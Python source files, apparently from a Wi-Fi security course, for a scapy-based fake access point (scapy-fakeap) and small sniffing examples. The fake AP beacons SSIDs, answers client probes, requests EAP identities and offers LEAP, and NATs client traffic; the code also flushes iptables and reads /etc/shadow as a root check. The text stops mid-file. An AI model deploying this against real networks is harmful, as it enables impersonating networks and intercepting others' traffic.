1 | from .eap import * 2 | from rpyutils import * 3 | from .constants import * 4 | 5 | from scapy.layers.dot11 import * 6 | from scapy.layers.dhcp import * 7 | from scapy.layers.dns import DNS 8 | from scapy.layers.inet import TCP, UDP 9 | 10 | 11 | class Callbacks(object): 12 | def __init__(self, ap): 13 | self.ap = ap 14 | 15 | self.cb_recv_pkt = self.recv_pkt 16 | self.cb_dot11_probe_req = self.dot11_probe_resp 17 | self.cb_dot11_beacon = self.dot11_beacon 18 | self.cb_dot11_auth = self.dot11_auth 19 | self.cb_dot11_ack = self.dot11_ack 20 | self.cb_dot11_assoc_req = self.dot11_assoc_resp 21 | self.cb_dot11_rts = self.dot11_cts 22 | 23 | self.cb_dot1X_eap_req = self.dot1x_eap_resp 24 | 25 | self.cb_arp_req = self.arp_resp 26 | 27 | self.cb_dhcp_discover = self.dot11_to_tint 28 | self.cb_dhcp_request = self.dot11_to_tint 29 | self.cb_dns_request = self.dot11_to_tint 30 | self.cb_other_request = self.dot11_to_tint 31 | 32 | self.cb_tint_read = self.recv_pkt_tint 33 | 34 | def recv_pkt(self, packet): 35 | try: 36 | if len(packet.notdecoded[8:9]) > 0: # Driver sent radiotap header flags 37 | # This means it doesn't drop packets with a bad FCS itself 38 | flags = ord(packet.notdecoded[8:9]) 39 | if flags & 64 != 0: # BAD_FCS flag is set 40 | # Print a warning if we haven't already discovered this MAC 41 | if not packet.addr2 is None: 42 | printd("Dropping corrupt packet from %s" % packet.addr2, Level.BLOAT) 43 | # Drop this packet 44 | return 45 | 46 | # Management 47 | if packet.type == DOT11_TYPE_MANAGEMENT: 48 | if packet.subtype == DOT11_SUBTYPE_PROBE_REQ: # Probe request 49 | if Dot11Elt in packet: 50 | ssid = packet[Dot11Elt].info 51 | 52 | printd("Probe request for SSID %s by MAC %s" % (ssid, packet.addr2), Level.DEBUG) 53 | 54 | # Only send a probe response if one of our own SSIDs is probed 55 | if ssid in self.ap.ssids or (Dot11Elt in packet and packet[Dot11Elt].len == 0): 56 | if not (self.ap.hidden and ssid != self.ap.get_ssid()): 57 | self.cb_dot11_probe_req(packet.addr2, self.ap.get_ssid()) 58 | elif packet.subtype == DOT11_SUBTYPE_AUTH_REQ: # Authentication 59 | if packet.addr1 == self.ap.mac: # We are the receivers 60 | self.ap.sc = -1 # Reset sequence number 61 | self.cb_dot11_auth(packet.addr2) 62 | elif packet.subtype == DOT11_SUBTYPE_ASSOC_REQ or packet.subtype == DOT11_SUBTYPE_REASSOC_REQ: 63 | if packet.addr1 == self.ap.mac: 64 | self.cb_dot11_assoc_req(packet.addr2, packet.subtype) 65 | 66 | # After association, start EAP session if enabled 67 | if self.ap.ieee8021x: 68 | self.cb_dot1X_eap_req(packet.addr2, EAPCode.REQUEST, EAPType.IDENTITY, None) 69 | 70 | # Data packet 71 | if packet.type == DOT11_TYPE_DATA: 72 | if EAPOL in packet: 73 | if packet.addr1 == self.ap.mac: 74 | # EAPOL Start 75 | if packet[EAPOL].type == 0x01: 76 | self.ap.eap.reset_id() 77 | self.dot1x_eap_resp(packet.addr2, EAPCode.REQUEST, EAPType.IDENTITY, None) 78 | if EAP in packet: 79 | if packet[EAP].code == EAPCode.RESPONSE: # Responses 80 | if packet[EAP].type == EAPType.IDENTITY: 81 | identity = str(packet[Raw]) 82 | if packet.addr1 == self.ap.mac: 83 | # EAP Identity Response 84 | printd("Got identity: " + identity[0:len(identity) - 4], Level.INFO) 85 | 86 | # Send auth method LEAP 87 | self.dot1x_eap_resp(packet.addr2, EAPCode.REQUEST, EAPType.EAP_LEAP, "\x01\x00\x08" + "\x00\x00\x00\x00\x00\x00\x00\x00" + str(identity[0:len(identity) - 4])) 88 | if packet[EAP].type == EAPType.NAK: # NAK 89 | method = str(packet[Raw]) 90 | method = method[0:len(method) - 4] 91 | method = ord(method.strip("x\\")) 92 | printd("NAK suggested method " + EAPType.convert_type(method), Level.INFO) 93 | 94 | elif ARP in packet: 95 | if packet[ARP].pdst == self.ap.ip.split('/')[0]: 96 | self.cb_arp_req(packet.addr2, packet[ARP].psrc) 97 | elif DHCP in packet: 98 | if packet.addr1 == self.ap.mac: 99 | if packet[DHCP].options[0][1] == 1: 100 | self.cb_dhcp_discover(packet) 101 | 102 | if packet[DHCP].options[0][1] == 3: 103 | self.cb_dhcp_request(packet) 104 | elif DNS in packet: 105 | self.cb_dns_request(packet) 106 | elif IP in packet: 107 | self.cb_other_request(packet) 108 | 109 | except Exception as err: 110 | print("Unknown error at monitor interface: %s" % repr(err)) 111 | 112 | def recv_pkt_tint(self, packet): 113 | try: 114 | packet = IP(packet) # We expect an IP packet from the external interface 115 | if BOOTP in packet: 116 | client_mac = bytes_to_mac(packet[BOOTP].chaddr[:6]) 117 | 118 | if DHCP in packet and packet[DHCP].options[0][1] == 5: # DHCP ACK 119 | client_ip = packet[BOOTP].yiaddr 120 | self.ap.arp.add_entry(client_ip, client_mac) 121 | printd("IP %s -> %s" % (client_ip, client_mac), Level.INFO) 122 | 123 | # Forward our message to the client 124 | self.dot11_encapsulate_ip(client_mac, packet) 125 | else: 126 | client_ip = packet[IP].dst 127 | self.dot11_encapsulate_ip(self.ap.arp.get_entry(client_ip), packet) 128 | 129 | except Exception as err: 130 | print("Unknown error at tun interface: %s" % repr(err)) 131 | 132 | def dot11_probe_resp(self, source, ssid): 133 | probe_response_packet = self.ap.get_radiotap_header() \ 134 | / Dot11(subtype=5, addr1=source, addr2=self.ap.mac, addr3=self.ap.mac, SC=self.ap.next_sc()) \ 135 | / Dot11ProbeResp(timestamp=self.ap.current_timestamp(), beacon_interval=0x0064, cap=0x2104) \ 136 | / Dot11Elt(ID='SSID', info=ssid) \ 137 | / Dot11Elt(ID='Rates', info=AP_RATES) \ 138 | / Dot11Elt(ID='DSset', info=chr(self.ap.channel)) 139 | 140 | # If we are an RSN network, add RSN data to response 141 | if self.ap.ieee8021x: 142 | probe_response_packet[Dot11ProbeResp].cap = 0x3101 143 | rsn_info = Dot11Elt(ID='RSNinfo', info=RSN) 144 | probe_response_packet = probe_response_packet / rsn_info 145 | 146 | sendp(probe_response_packet, iface=self.ap.interface, verbose=False) 147 | 148 | def dot11_beacon(self, ssid): 149 | # Create beacon packet 150 | beacon_packet = self.ap.get_radiotap_header() \ 151 | / Dot11(subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=self.ap.mac, addr3=self.ap.mac) \ 152 | / Dot11Beacon(cap=0x2105) \ 153 | / Dot11Elt(ID='SSID', info=ssid) \ 154 | / Dot11Elt(ID='Rates', info=AP_RATES) \ 155 | / Dot11Elt(ID='DSset', info=chr(self.ap.channel)) 156 | 157 | if self.ap.ieee8021x: 158 | beacon_packet[Dot11Beacon].cap = 0x3101 159 | rsn_info = Dot11Elt(ID='RSNinfo', info=RSN) 160 | beacon_packet = beacon_packet / rsn_info 161 | 162 | # Update sequence number 163 | beacon_packet.SC = self.ap.next_sc() 164 | 165 | # Update timestamp 166 | beacon_packet[Dot11Beacon].timestamp = self.ap.current_timestamp() 167 | 168 | # Send 169 | sendp(beacon_packet, iface=self.ap.interface, verbose=False) 170 | 171 | def dot11_auth(self, receiver): 172 | auth_packet = self.ap.get_radiotap_header() \ 173 | / Dot11(subtype=0x0B, addr1=receiver, addr2=self.ap.mac, addr3=self.ap.mac, SC=self.ap.next_sc()) \ 174 | / Dot11Auth(seqnum=0x02) 175 | 176 | printd("Sending Authentication (0x0B)...", Level.DEBUG) 177 | sendp(auth_packet, iface=self.ap.interface, verbose=False) 178 | 179 | def dot11_ack(self, receiver): 180 | ack_packet = self.ap.get_radiotap_header() \ 181 | / Dot11(type='Control', subtype=0x1D, addr1=receiver) 182 | 183 | print("Sending ACK (0x1D) to %s ..." % receiver) 184 | sendp(ack_packet, iface=self.ap.interface, verbose=False) 185 | 186 | def dot11_assoc_resp(self, receiver, reassoc): 187 | response_subtype = 0x01 188 | if reassoc == 0x02: 189 | response_subtype = 0x03 190 | assoc_packet = self.ap.get_radiotap_header() \ 191 | / Dot11(subtype=response_subtype, addr1=receiver, addr2=self.ap.mac, addr3=self.ap.mac, SC=self.ap.next_sc()) \ 192 | / Dot11AssoResp(cap=0x2104, status=0, AID=self.ap.next_aid()) \ 193 | / Dot11Elt(ID='Rates', info=AP_RATES) 194 | 195 | printd("Sending Association Response (0x01)...", Level.DEBUG) 196 | sendp(assoc_packet, iface=self.ap.interface, verbose=False) 197 | 198 | def dot11_cts(self, receiver): 199 | cts_packet = self.ap.get_radiotap_header() \ 200 | / Dot11(ID=0x99, type='Control', subtype=12, addr1=receiver, addr2=self.ap.mac, SC=self.ap.next_sc()) 201 | 202 | printd("Sending CTS (0x0C)...", Level.DEBUG) 203 | sendp(cts_packet, iface=self.ap.interface, verbose=False) 204 | 205 | def arp_resp(self, receiver_mac, receiver_ip): 206 | arp_packet = self.ap.get_radiotap_header() \ 207 | / Dot11(type="Data", subtype=0, addr1=receiver_mac, addr2=self.ap.mac, addr3=self.ap.mac, SC=self.ap.next_sc(), FCfield='from-DS') \ 208 | / LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) \ 209 | / SNAP(OUI=0x000000, code=ETH_P_ARP) \ 210 | / ARP(psrc=self.ap.ip.split('/')[0], pdst=receiver_ip, op="is-at", hwsrc=self.ap.mac, hwdst=receiver_mac) 211 | 212 | printd("Sending ARP Response...", Level.DEBUG) 213 | sendp(arp_packet, iface=self.ap.interface, verbose=False) 214 | 215 | def dot1x_eap_resp(self, receiver, eap_code, eap_type, eap_data): 216 | eap_packet = self.ap.get_radiotap_header() \ 217 | / Dot11(type="Data", subtype=0, addr1=receiver, addr2=self.ap.mac, addr3=self.ap.mac, SC=self.ap.next_sc(), FCfield='from-DS') \ 218 | / LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) \ 219 | / SNAP(OUI=0x000000, code=0x888e) \ 220 | / EAPOL(version=1, type=0) \ 221 | / EAP(code=eap_code, id=self.ap.eap.next_id(), type=eap_type) 222 | 223 | if not eap_data is None: 224 | eap_packet = eap_packet / str(eap_data) 225 | 226 | printd("Sending EAP Packet (code = %d, type = %d, data = %s)..." % (eap_code, eap_type, eap_data), Level.DEBUG) 227 | sendp(eap_packet, iface=self.ap.interface, verbose=False) 228 | 229 | def unspecified_raw(self, raw_data): 230 | raw_packet = str(raw_data) 231 | 232 | printd("Sending RAW packet...", Level.DEBUG) 233 | sendp(raw_packet, iface=self.ap.interface, verbose=False) 234 | 235 | def dhcp_offer(self, client_mac, client_ip, xid): 236 | dhcp_offer_packet = self.ap.get_radiotap_header() \ 237 | / Dot11(type="Data", subtype=0, addr1="ff:ff:ff:ff:ff:ff", addr2=self.ap.mac, SC=self.ap.next_sc(), FCfield='from-DS') \ 238 | / LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) \ 239 | / SNAP(OUI=0x000000, code=ETH_P_IP) \ 240 | / IP(src=self.ap.ip, dst=client_ip) \ 241 | / UDP(sport=67, dport=68) \ 242 | / BOOTP(op=2, yiaddr=client_ip, siaddr=self.ap.ip, giaddr=self.ap.ip, chaddr=mac_to_bytes(client_mac), xid=xid) \ 243 | / DHCP(options=[('message-type', 'offer')]) \ 244 | / DHCP(options=[('subnet_mask', '255.255.255.0')]) \ 245 | / DHCP(options=[('server_id', self.ap.ip), 'end']) 246 | 247 | sendp(dhcp_offer_packet, iface=self.ap.interface, verbose=False) 248 | 249 | def dhcp_ack(self, client_mac, client_ip, xid): 250 | dhcp_ack_packet = self.ap.get_radiotap_header() \ 251 | / Dot11(type="Data", subtype=0, addr1="ff:ff:ff:ff:ff:ff", addr2=self.ap.mac, SC=self.ap.next_sc(), FCfield='from-DS') \ 252 | / LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) \ 253 | / SNAP(OUI=0x000000, code=ETH_P_IP) \ 254 | / IP(src=self.ap.ip, dst=client_ip) \ 255 | / UDP(sport=67,dport=68) \ 256 | / BOOTP(op=2, yiaddr=client_ip, siaddr=self.ap.ip, giaddr=self.ap.ip, chaddr=mac_to_bytes(client_mac), xid=xid) \ 257 | / DHCP(options=[('message-type','ack')]) \ 258 | / DHCP(options=[('server_id', self.ap.ip)]) \ 259 | / DHCP(options=[('lease_time', 43200)]) \ 260 | / DHCP(options=[('subnet_mask', '255.255.255.0')]) \ 261 | / DHCP(options=[('router', self.ap.ip)]) \ 262 | / DHCP(options=[('name_server', DEFAULT_DNS_SERVER)]) \ 263 | / DHCP(options=[('domain', "localdomain")]) \ 264 | / DHCP(options=['end']) 265 | sendp(dhcp_ack_packet, iface=self.ap.interface, verbose=False) 266 | 267 | def dot11_encapsulate_ip(self, client_mac, ip_packet): 268 | if IP in ip_packet: 269 | del ip_packet[IP].chksum 270 | del ip_packet[IP].len 271 | else: 272 | raise Exception("Attempted to encapsulate non-IP packet.") 273 | 274 | if UDP in ip_packet: 275 | del ip_packet[UDP].len 276 | 277 | response_packet = self.ap.get_radiotap_header() \ 278 | / Dot11(type="Data", subtype=0, addr1=client_mac, addr2=self.ap.mac, SC=self.ap.next_sc(), FCfield='from-DS') \ 279 | / LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) \ 280 | / SNAP(OUI=0x000000, code=ETH_P_IP) \ 281 | / str(ip_packet) 282 | 283 | sendp(response_packet, iface=self.ap.interface, verbose=False) 284 | 285 | def dot11_to_tint(self, pkt): 286 | self.ap.tint.write(pkt) # Pass to third party application for handling -------------------------------------------------------------------------------- /ejemplo41/scapy-fakeap-master/fakeap/conf.py: -------------------------------------------------------------------------------- 1 | from ConfigParser import ConfigParser, NoOptionError 2 | from rpyutils import printd, Level 3 | 4 | 5 | class ConfigHeader(object): 6 | def __init__(self, fp): 7 | self.fp = fp 8 | self.first_line = True 9 | self.dummy_section = '[fakeap]\n' 10 | 11 | def readline(self): 12 | if self.first_line: 13 | self.first_line = False 14 | return self.dummy_section 15 | else: 16 | return self.fp.readline() 17 | 18 | 19 | class Conf(ConfigParser): 20 | def __init__(self, path): 21 | ConfigParser.__init__(self) # ConfigParser is an old-style class... Can't user 'super' 22 | self.path = path 23 | self.readfp(ConfigHeader(open(path))) 24 | 25 | def get(self, key, default=None): 26 | value = None 27 | try: 28 | value = ConfigParser.get(self, 'fakeap', key) 29 | except NoOptionError as e: 30 | value = default 31 | printd("Option '%s' not specified in config file. Using default." % e.option, Level.WARNING) 32 | 33 | printd("%s -> %s" % (key, value), Level.INFO) 34 | 35 | return value 36 | -------------------------------------------------------------------------------- /ejemplo41/scapy-fakeap-master/fakeap/constants.py: -------------------------------------------------------------------------------- 1 | import platform 2 | 3 | RUNNING_ON_PI = platform.machine() == 'armv6l' 4 | DEFAULT_DNS_SERVER = "8.8.8.8" 5 | RSN = "\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x01\x28\x00" 6 | 7 | AP_WLAN_TYPE_OPEN = 0 8 | AP_WLAN_TYPE_WPA = 1 9 | AP_WLAN_TYPE_WPA2 = 2 10 | AP_WLAN_TYPE_WPA_WPA2 = 3 11 | AP_AUTH_TYPE_OPEN = 0 12 | AP_AUTH_TYPE_SHARED = 1 13 | AP_RATES = "\x0c\x12\x18\x24\x30\x48\x60\x6c" 14 | 15 | DOT11_MTU = 4096 16 | 17 | DOT11_TYPE_MANAGEMENT = 0 18 | DOT11_TYPE_CONTROL = 1 19 | DOT11_TYPE_DATA = 2 20 | 21 | DOT11_SUBTYPE_DATA = 0x00 22 | DOT11_SUBTYPE_PROBE_REQ = 0x04 23 | DOT11_SUBTYPE_AUTH_REQ = 0x0B 24 | DOT11_SUBTYPE_ASSOC_REQ = 0x00 25 | DOT11_SUBTYPE_REASSOC_REQ = 0x02 26 | DOT11_SUBTYPE_QOS_DATA = 0x28 27 | 28 | 29 | IFNAMSIZ = 16 30 | IFF_TUN = 0x0001 31 | IFF_TAP = 0x0002 # Should we want to tunnel layer 2... 32 | IFF_NO_PI = 0x1000 33 | TUNSETIFF = 0x400454ca -------------------------------------------------------------------------------- /ejemplo41/scapy-fakeap-master/fakeap/eap.py: -------------------------------------------------------------------------------- 1 | import threading 2 | 3 | 4 | class EAPCode: 5 | REQUEST = 1 6 | RESPONSE = 2 7 | SUCCESS = 3 8 | FAILURE = 4 9 | 10 | 11 | class EAPType: 12 | IDENTITY = 1 13 | NOTIFICATION = 2 14 | NAK = 3 15 | MD5_CHALLENGE = 4 16 | OTP = 5 17 | GENERIC_TOKEN_CARD = 6 18 | EAP_TLS = 13 19 | EAP_LEAP = 17 20 | EAP_SIM = 18 21 | TTLS = 21 22 | PEAP = 25 23 | MSCHAP_V2 = 29 24 | EAP_CISCO_FAST = 43 25 | 26 | @classmethod 27 | def convert_type(cls, type_value): 28 | for key, value in vars(cls).iteritems(): 29 | if value == type_value: 30 | return str(key) 31 | 32 | 33 | class EAPHandler(): 34 | def __init__(self): 35 | self.id = 0 36 | self.mutex = threading.Lock() 37 | 38 | def next_id(self): 39 | self.mutex.acquire() 40 | self.id = (self.id + 1) 41 | temp = self.id 42 | self.mutex.release() 43 | 44 | return temp 45 | 46 | def reset_id(self): 47 | self.mutex.acquire() 48 | self.id = 0 49 | self.mutex.release() -------------------------------------------------------------------------------- /ejemplo41/scapy-fakeap-master/fakeap/fakeap.py: -------------------------------------------------------------------------------- 1 | 2 | import subprocess 3 | from scapy.all import sniff 4 | from .eap import * 5 | from .arp import * 6 | from rpyutils import check_root, get_frequency, if_hwaddr, clear_ip_tables 7 | from .callbacks import Callbacks 8 | from .tint import TunInterface 9 | from .conf import Conf 10 | from time import time, sleep 11 | from scapy.layers.dot11 import RadioTap, conf as scapyconf 12 | from scapy.layers.inet import TCP 13 | 14 | 15 | class FakeAccessPoint(object): 16 | class FakeBeaconTransmitter(threading.Thread): 17 | def __init__(self, ap): 18 | threading.Thread.__init__(self) 19 | self.ap = ap 20 | self.setDaemon(True) 21 | self.interval = 0.1 22 | 23 | def run(self): 24 | while True: 25 | for ssid in self.ap.ssids: 26 | self.ap.callbacks.cb_dot11_beacon(ssid) 27 | 28 | # Sleep 29 | sleep(self.interval) 30 | 31 | @classmethod 32 | def from_file(cls, path): 33 | conf = Conf(path) 34 | 35 | # Required 36 | interface = conf.get('interface', 'mon0') 37 | ssid = conf.get('ssid', 'github.com/rpp0/scapy-fakeap') 38 | bpffilter = conf.get('filter', "") 39 | 40 | # Apply required settings 41 | ap = FakeAccessPoint(interface, ssid, bpffilter=bpffilter) 42 | 43 | # Apply optional settings 44 | ap.channel = int(conf.get('channel', 1)) 45 | ap.mac = conf.get('mac', if_hwaddr(interface)) 46 | ap.wpa = conf.get('wpa', 0) 47 | ap.ieee8021x = conf.get('ieee8021x', 0) 48 | ap.ip = conf.get('ip', '10.0.0.1/24') 49 | 50 | return ap 51 | 52 | def __init__(self, interface, ssid, bpffilter=""): 53 | self.callbacks = Callbacks(self) 54 | self.ssids = [] 55 | self.current_ssid_index = 0 56 | 57 | self.interface = interface 58 | self.inet_interface = None 59 | self.channel = 1 60 | self.mac = if_hwaddr(interface) 61 | self.wpa = 0 62 | self.ieee8021x = 0 63 | self.lfilter = None 64 | self.hidden = False 65 | if bpffilter == "": 66 | self.bpffilter = "not ( wlan type mgt subtype beacon ) and ((ether dst host " + self.mac + ") or (ether dst host ff:ff:ff:ff:ff:ff))" 67 | else: 68 | self.bpffilter = bpffilter 69 | self.ip = '10.0.0.1/24' 70 | self.boottime = time() 71 | self.sc = 0 72 | self.aid = 0 73 | self.mutex = threading.Lock() 74 | 75 | # Protocol handlers 76 | self.eap = EAPHandler() 77 | self.arp = ARPHandler() 78 | 79 | self.add_ssid(ssid) 80 | self.beaconTransmitter = self.FakeBeaconTransmitter(self) 81 | 82 | self.tint = None 83 | 84 | def share_internet(self, dev): 85 | TCP.payload_guess = [] 86 | clear_ip_tables() 87 | 88 | # Postrouting 89 | if subprocess.call(['iptables', '--table', 'nat', '--append', 'POSTROUTING', '--out-interface', dev, '-j', 'MASQUERADE']): 90 | printd("Failed to setup postrouting for interface %s." % dev, Level.CRITICAL) 91 | 92 | # Forward 93 | if subprocess.call(['iptables', '--append', 'FORWARD', '--in-interface', self.tint.name, '-j', 'ACCEPT']): 94 | printd("Failed to setup forwarding for interface %s." % self.tint.name, Level.CRITICAL) 95 | 96 | # Enable IP forwarding 97 | if subprocess.call(['sysctl', '-w', 'net.ipv4.ip_forward=1']): 98 | printd("Failed to enable IP forwarding.", Level.CRITICAL) 99 | 100 | printd("IP packets will be routed through %s." % dev, Level.INFO) 101 | 102 | def add_ssid(self, ssid): 103 | if not ssid in self.ssids and ssid != '': 104 | self.ssids.append(ssid) 105 | 106 | def remove_ssid(self, ssid): 107 | if ssid in self.ssids: 108 | self.ssids.remove(ssid) 109 | 110 | def get_ssid(self): 111 | if len(self.ssids) > 0: 112 | return self.ssids[self.current_ssid_index] 113 | 114 | def cycle_ssid(self): 115 | maxidx = len(self.ssids) 116 | self.current_ssid_index = ((self.current_ssid_index + 1) % maxidx) 117 | 118 | def current_timestamp(self): 119 | return (time() - self.boottime) * 1000000 120 | 121 | def next_sc(self): 122 | self.mutex.acquire() 123 | self.sc = (self.sc + 1) % 4096 124 | temp = self.sc 125 | self.mutex.release() 126 | 127 | return temp * 16 # Fragment number -> right 4 bits 128 | 129 | def next_aid(self): 130 | self.mutex.acquire() 131 | self.aid = (self.aid + 1) % 2008 132 | temp = self.aid 133 | self.mutex.release() 134 | 135 | return temp 136 | 137 | def get_radiotap_header(self): 138 | radiotap_packet = RadioTap(len=18, present='Flags+Rate+Channel+dBm_AntSignal+Antenna', notdecoded='\x00\x6c' + get_frequency(self.channel) + '\xc0\x00\xc0\x01\x00\x00') 139 | return radiotap_packet 140 | 141 | def run(self): 142 | check_root() 143 | if not self.hidden: 144 | self.beaconTransmitter.start() 145 | 146 | self.tint = TunInterface(self) 147 | self.tint.start() 148 | 149 | if self.inet_interface is not None: 150 | self.share_internet(self.inet_interface) 151 | scapyconf.iface = self.interface 152 | sniff(iface=self.interface, prn=self.callbacks.cb_recv_pkt, store=0, filter=self.bpffilter) -------------------------------------------------------------------------------- /ejemplo41/scapy-fakeap-master/fakeap/rpyutils/__init__.py: -------------------------------------------------------------------------------- 1 | from rpyutils import * 2 | pass -------------------------------------------------------------------------------- /ejemplo41/scapy-fakeap-master/fakeap/rpyutils/rpyutils.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | import re 3 | import os 4 | import struct 5 | from scapy.arch import str2mac, get_if_raw_hwaddr 6 | 7 | 8 | class Level: 9 | CRITICAL = 0 10 | WARNING = 1 11 | INFO = 2 12 | DEBUG = 3 13 | BLOAT = 4 14 | 15 | VERBOSITY = Level.INFO 16 | 17 | 18 | class Color: 19 | GREY = '\x1b[1;37m' 20 | GREEN = '\x1b[1;32m' 21 | BLUE = '\x1b[1;34m' 22 | YELLOW = '\x1b[1;33m' 23 | RED = '\x1b[1;31m' 24 | MAGENTA = '\x1b[1;35m' 25 | CYAN = '\x1b[1;36m' 26 | 27 | 28 | def clr(color, text): 29 | return color + str(text) + '\x1b[0m' 30 | 31 | 32 | def check_root(): 33 | if not os.geteuid() == 0: 34 | printd(clr(Color.RED, "Run as root."), Level.CRITICAL) 35 | exit(1) 36 | 37 | 38 | def check_root_shadow(): 39 | dev_null = open(os.devnull, 'w') 40 | 41 | try: 42 | subprocess.check_output(['cat', '/etc/shadow'], stderr=dev_null) 43 | except subprocess.CalledProcessError: 44 | printd(clr(Color.RED, "Run as root."), Level.CRITICAL) 45 | exit(1) 46 | 47 | 48 | def set_monitor_mode(wlan_dev, enable=True): 49 | monitor_dev = None 50 | if enable: 51 | result = subprocess.check_output(['airmon-ng', 'start', wlan_dev]) 52 | if not "monitor mode enabled on" in result: 53 | printd(clr(Color.RED, "ERROR: Airmon could not enable monitor mode on device %s. Make sure you are root, and that" \ 54 | "your wlan card supports monitor mode." % wlan_dev), Level.CRITICAL) 55 | exit(1) 56 | monitor_dev = re.search(r"monitor mode enabled on (\w+)", result).group(1) 57 | 58 | printd("Airmon set %s to monitor mode on %s" % (wlan_dev, monitor_dev), Level.INFO) 59 | else: 60 | subprocess.check_output(['airmon-ng', 'stop', wlan_dev]) 61 | 62 | return monitor_dev 63 | 64 | 65 | def set_ip_address(dev, ip): 66 | if subprocess.call(['ip', 'addr', 'add', ip, 'dev', dev]): 67 | printd("Failed to assign IP address %s to %s." % (ip, dev), Level.CRITICAL) 68 | 69 | if subprocess.call(['ip', 'link', 'set', 'dev', dev, 'up']): 70 | printd("Failed to bring device %s up." % dev, Level.CRITICAL) 71 | 72 | 73 | def clear_ip_tables(): 74 | if subprocess.call(['iptables', '--flush']): 75 | printd("Failed to flush iptables.", Level.CRITICAL) 76 | if subprocess.call(['iptables', '--table', 'nat', '--flush']): 77 | printd("Failed to flush iptables NAT.", Level.CRITICAL) 78 | if subprocess.call(['iptables', '--delete-chain']): 79 | printd("Failed to delete iptables chain.", Level.CRITICAL) 80 | if subprocess.call(['iptables', '--table', 'nat', '--delete-chain']): 81 | printd("Failed to delete iptables NAT chain.", Level.CRITICAL) 82 | 83 | 84 | def printd(string, level): 85 | if VERBOSITY >= level: 86 | print(string) 87 | 88 | 89 | def hex_offset_to_string(byte_array): 90 | temp = byte_array.replace("\n", "") 91 | temp = temp.replace(" ", "") 92 | return temp.decode("hex") 93 | 94 | 95 | def get_frequency(channel): 96 | if channel == 14: 97 | freq = 2484 98 | else: 99 | freq = 2407 + (channel * 5) 100 | 101 | freq_string = struct.pack(" IFNAMSIZ: 16 | raise Exception("Tun interface name cannot be larger than " + str(IFNAMSIZ)) 17 | 18 | self.name = name 19 | self.setDaemon(True) 20 | self.ap = ap 21 | 22 | # Virtual interface 23 | self.fd = open('/dev/net/tun', 'r+b') 24 | ifr_flags = IFF_TUN | IFF_NO_PI # Tun device without packet information 25 | ifreq = struct.pack('16sH', name, ifr_flags) 26 | fcntl.ioctl(self.fd, TUNSETIFF, ifreq) # Syscall to create interface 27 | 28 | # Assign IP and bring interface up 29 | set_ip_address(name, self.ap.ip) 30 | 31 | print("Created TUN interface %s at %s. Bind it to your services if needed." % (name, self.ap.ip)) 32 | 33 | def write(self, pkt): 34 | os.write(self.fd.fileno(), str(pkt[IP])) # Strip layer 2 35 | 36 | def read(self): 37 | raw_packet = os.read(self.fd.fileno(), DOT11_MTU) 38 | return raw_packet 39 | 40 | def close(self): 41 | os.close(self.fd.fileno()) 42 | 43 | def run(self): 44 | while True: 45 | raw_packet = self.read() 46 | self.ap.callbacks.cb_tint_read(raw_packet) -------------------------------------------------------------------------------- /ejemplo41/scapy-fakeap-master/setup.py: -------------------------------------------------------------------------------- 1 | from setuptools import setup, find_packages 2 | 3 | setup( 4 | name='scapy-fakeap', 5 | version='0.1', 6 | packages=find_packages(), 7 | url='', 8 | license='GPLv2', 9 | author='rpp0', 10 | author_email='red@nostack.net', 11 | requires=['scapy'], 12 | description='Fake AP implementation using Scapy' 13 | ) 14 | -------------------------------------------------------------------------------- /ejemplo5.py: -------------------------------------------------------------------------------- 1 | # Escribir los siguientes comandos en la consola de Scapy: 2 | 3 | # >>> cap=sniff(iface='mon0',count=3) 4 | # >>> cap 5 | # >>> cap.show() 6 | # >>> cap[0].show() 7 | # >>> cap[0].pdfdump('/tmp/test.pdf') 8 | # >>> cap=sniff(iface='mon0',count=800) 9 | # >>> cap 10 | # >>> cap.summary() 11 | 12 | print "Lea el fichero ejemplo5.py para ver su contenido" 13 | -------------------------------------------------------------------------------- /ejemplo6.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*-​ 3 | import logging,os 4 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 5 | 6 | try: 7 | from scapy.all import * 8 | except ImportError: 9 | logging.warning('Scapy not installed. Please install it!') 10 | exit(-1) 11 | 12 | if os.geteuid() != 0: 13 | exit("You need to be root to run this script!") 14 | 15 | intfmon='mon0' 16 | aps = {} 17 | 18 | def PacketHandler(pkt): 19 | bssid = pkt[Dot11].addr3 20 | if bssid in aps: 21 | return 22 | 23 | p = pkt[Dot11Elt] 24 | ("{Dot11ProbeResp:%Dot11ProbeResp.cap%}").split('+') 25 | crypto = set() 26 | cap = pkt.sprintf("{Dot11Beacon:%Dot11Beacon.cap%}") 27 | while isinstance(p, Dot11Elt): 28 | if p.ID == 0: 29 | essid = p.info 30 | elif p.ID == 3: 31 | channel = ord(p.info) 32 | elif p.ID == 48: 33 | crypto.add("WPA2") 34 | elif p.ID == 221 and p.info.startswith('\x00P\xf2\x01\x01\x00'): 35 | crypto.add("WPA") 36 | p = p.payload 37 | if not crypto: 38 | if 'privacy' in cap: 39 | crypto.add("WEP") 40 | else: 41 | crypto.add("OPN") 42 | print "NEW AP: %r [%s], channel %d, %s" % (essid, bssid, channel, ' / '.join(crypto)) 43 | aps[bssid] = (essid, channel, crypto) 44 | 45 | sniff(iface=intfmon, prn=PacketHandler, store=False,lfilter=lambda pkt: (Dot11Beacon in pkt or Dot11ProbeResp in pkt)) 46 | -------------------------------------------------------------------------------- /ejemplo7.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*-​ 3 | import logging 4 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 5 | from scapy.all import * 6 | import scapy_ex 7 | 8 | intfmon='mon0' 9 | ap_list = [ ] 10 | 11 | def PacketHandler(pkt) : 12 | if pkt.haslayer(Dot11) : 13 | if pkt.type == 0 and pkt.subtype == 8: ## beacon frame 14 | if pkt.addr2 not in ap_list : 15 | ap_list.append(pkt.addr2) 16 | essid = pkt.info 17 | hidden_essid = (not essid) 18 | if pkt.hasflag('cap', 'privacy'): 19 | elt_rsn = pkt[Dot11].rsn() 20 | if elt_rsn: 21 | 